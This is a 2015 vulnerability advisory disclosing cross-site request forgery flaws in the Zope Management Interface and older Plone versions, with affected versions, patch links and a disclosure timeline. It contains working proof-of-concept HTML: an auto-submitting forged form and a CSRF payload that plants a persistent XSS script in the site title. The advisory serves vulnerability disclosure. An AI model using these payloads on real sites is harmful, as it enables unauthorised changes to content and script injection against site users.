[+] Credits: hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZOPE-CSRF.txt
Vendor:
================================
www.zope.org
plone.org
Product:
================================
Zope Management Interface 4.3.7
Zope is a Python-based application server for building secure and highly scalable web applications.
Plone Is a Content Management System built on top of the open source application server Zope
and the accompanying Content Management Framework.
Vulnerability Type:
===================
Cross site request forgery (CSRF)
Multiple CSRF (cross-site request forgery) vulnerabilities in the ZMI (Zope Management Interface).
Patches to Zope and Plone for multiple CSRF issues.
https://plone.org/security/20151006/multiple-csrf-vulnerabilities-in-zope
https://plone.org/products/plone/security/advisories/security-vulnerability-20151006-csrf
CVE Reference:
==============
NA
Vulnerability Details:
=====================
Security vulnerability: 20151006 - CSRF
ZMI is mostly unprotected from CSRF vulnerabilities.
Versions affected
4.3.7, 4.3.6, 4.3.5, 4.3.4, 4.3.3, 4.3.2, 4.3.1, 4.3, 4.2.7, 4.2.6, 4.2.5,
4.2.4, 4.2.3, 4.2.2, 4.2.1, 4.2
4.1.6, 4.1.5, 4.1.4, 4.1.3, 4.1.2, 4.1.1, 4.1, 4.0.9, 4.0.7, 4.0.5, 4.0.4,
4.0.3, 4.0.2, 4.0.1, 4.0, 3.3.6
3.3.5, 3.3.4. 3.3.3, 3.3.2, 3.3.1, 3.3
All versions of Plone prior to 5.x are vulnerable.
Fixed by
Nathan Van Gheem, of the Plone Security Team
Coordinated by Plone Security Team
patch was released and is available from
https://pypi.python.org/pypi/plone4.csrffixes
Exploit code(s):
===============
<!DOCTYPE>
<html>
<head>
<title>Plone CSRF Add Linxs & Persistent XSS</title>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>
<form id="HELL" method="post" action="
http://localhost:8080/Plone/Members/portal_factory/Link/link.2015-08-30.6666666666/atct_edit
">
<input type="text" name="title" id="title" value="HYP3RLINX"
size="30" maxlength="255" placeholder="" />
<input type="text" name="remoteUrl" id="remoteUrl" value="
http://hyp3rlinx.altervista.org" size="30" maxlength="511" placeholder="" />
<input type="hidden" name="fieldset" value="default" />
<input type="hidden" name="form.submitted" value="1" />
</form>
2) CSRF to Persistent XSS - Zope Management Interface
++++++++++++++++++++++++++++++++++++++++++++++++++++++
Persistent XSS via CSRF on title change properties tab, this will execute on each Zope page accessed by users.
CSRF to Persistent XSS POC Code:
=================================
<form id="HELL" action="http://localhost:8080/" method="post">
<input type="text" name="title:UTF-8:string" size="35"
value="</title><script>alert('XSS by hyp3rlinx 08302015')</script>" />
<input name="manage_editProperties:method" value="Save Changes" />
</form>
Disclosure Timeline:
=========================================================
Vulnerability reported: 2015-08-30
Hotfix released: 2015-10-06
Exploitation Technique:
=======================
Remote
Vector NETWORK
Complexity LOW
Authentication NONE
Confidentiality NONE
Integrity PARTIAL
Availability PARTIAL
Severity Level:
=========================================================
6.4 – MEDIUM
Description:
==========================================================
Request Method(s): [+] POST
Vulnerable Product: [+] Zope Management Interface & all versions of Plone prior to 5.x are vulnerable.
===========================================================
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx